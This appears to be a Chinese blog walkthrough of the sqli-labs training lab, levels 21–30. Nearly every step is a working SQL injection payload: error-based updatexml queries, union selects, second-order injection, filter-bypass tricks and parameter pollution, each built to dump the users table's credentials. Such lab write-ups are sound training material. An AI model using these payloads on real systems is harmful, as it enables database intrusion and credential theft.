您的当前位置:首页正文

sqli-labs靶场通关攻略(21-30关)

2024-11-22 来源:个人技术集锦

 Less-21

步骤一:页面输入admin 123456 登录

可以看见这里返回了很多信息,包括了自己的Cookie。但是Cookie却是一串奇怪的字符串,看得出来这是bse64编码。

解码查看

步骤二:Burp Suite 抓包,并且把抓到的数据发送到重放器上

步骤三:采用报错注⼊函数获取其当前数据库名称

')and updatexml(1,concat(1,database()),1)#编码

步骤四:查表名

')and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)#编码

步骤五:查列名

')and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) #编码

步骤六:查看users表中所有信息

')and updatexml(1,concat(1,(select group_concat(id,username,password) from users)),1)#编码

Less-22

 步骤一:页面输入admin 123456 登录

可以看见这里返回了很多信息,包括了自己的Cookie。但是Cookie却是一串奇怪的字符串,看得出来这是bse64编码。

步骤二:Burp Suite 抓包,并且把抓到的数据发送到重放器上

步骤三:采用报错注⼊函数获取其当前数据库名称

"and updatexml(1,concat(1,database()),1)#编码

步骤四:查表名

"and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)#编码

步骤五:查列名

"and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) #编码

步骤六:查看users表中所有信息

"and updatexml(1,concat(1,(select group_concat(id,username,password) from users)),1)#编码

Less-23

步骤一,测试闭合方式

输入单引号报错,但是注释符不管用。猜测注释符被过滤,查看源码果然被注释了,所以我们可以用单引号闭合,发现成功。

?id=1' or '1'='1

步骤二:查看数据库

?id=-1' union select 1,database(),3 or '1'='1

步骤三:查看表名

?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' or '1'='1

步骤四:查列名

?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' or '1'='1

Less-24

二次注入:

步骤一:点击" New User click Here "并注册用户名为 admin'#

步骤二:对注册的账号 admin'# 进⾏登录并修改密码

步骤三:打开数据库查看发现,admin'#密码并没有被改,admin密码被改了

Less-25

页面提示是将or和and这两个替换成空,可以采取双写绕过

步骤一:查看表名

information里面涉及or可以写成infoorrmation

?id=-2' union select 1,2,group_concat(table_name) from infoorrmation_schema.tables where table_schema='security'--+

步骤二:查看列

information里面涉及or可以写成infoorrmation

and改为anandd

?id=-1' union select 1,group_concat(column_name),3 from infoorrmation_schema.columns where table_schema='security' anandd table_name='users'--+

Less-26

逻辑运算符,注释符以及空格给过滤了,我们需要使用1'and'进行闭合,逻辑运算符使用双写或者&&和||替换。空格用括号替换

步骤一:查看数据库名

?id=1'||(updatexml(1,concat(1,(select(database()))),1))||'

步骤二:查看表名

?id=1'||(updatexml(1,concat(1,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema='security'))),1))||'

步骤三:查看users表中的列名

?id=1'||(updatexml(1,concat(1,(select(group_concat(column_name))from(infoorrmation_schema.columns)where(table_schema='security'aandnd(table_name='users')))),1))||'

步骤四:查看users表中信息

?id=1'||(updatexml(1,concat(1,(select(group_concat(passwoorrd,username))from(users))),1))||'

Less-27

过滤了空格,select和union,我们可以大小写绕过,空格用%09替换

步骤一:查看数据库名

?id=1'and%09updatexml(1,concat(1,(sElect%09database())),1)and'

步骤二:查看表名

?id=1'and%09updatexml(1,concat(1,(sElect%09group_concat(table_name)%09from%09information_schema.tables%09where%09table_schema='security')),1)and'

步骤三:查看users表中列名

?id=1'and%09updatexml(1,concat(1,(sElect%09group_concat(column_name)%09from%09information_schema.columns%09where%09table_schema='security'%09and%09table_name='users')),1)and'

步骤四:查看users表中信息

?id=1'and%09updatexml(1,concat(1,(sElect%09group_concat(username,password)%09from%09users)),1)and'

Less-28

过滤了空格,union和select,空格用%0A替换,union select双写替换

步骤一:查看表名

?id=99')uniunion%0Aselecton%0Aselect%0A1,2,group_concat(table_name)from%0Ainformation_schema.tables%0Awhere%0Atable_schema='security'and ('1

步骤二:查看users表中列名

?id=99')uniunion%0Aselecton%0Aselect%0A1,2,group_concat(column_name)from%0Ainformation_schema.columns%0Awhere%0Atable_schema='security'%0Aand%0Atable_name='users'%0Aand('1

Less-29

对输入的参数进行校验是否为数字,但是在对参数值进行校验之前的提取时候只提取了第一个id值,如果我们有两个id参数,第一个id参数正常数字,第二个id参数进行sql注入

步骤一:查看数据库名

?id=1&id=-1'union select 1,database(),3 --+

步骤二:查看表名

?id=1&id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

步骤三:查看users表中列名

?id=1&id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

步骤四:查看users表中信息

?id=1&id=-1'union select 1,2,group_concat(id,username,password) from users --+

Less-30

 对输入的参数进行校验是否为数字,但是在对参数值进行校验之前的提取时候只提取了第一个id值,如果我们有两个id参数,第一个id参数正常数字,第二个id参数进行sql注入

步骤一:查看数据库名

?id=1&id=-1"union select 1,database(),3 --+

步骤二:查看表名

?id=1&id=-1"union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security' --+

步骤三:查看users表中列名

?id=1&id=-1"union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users' --+

步骤四:查看users表中信息

?id=1&id=-1"union select 1,2,group_concat(id,username,password) from users --+

显示全文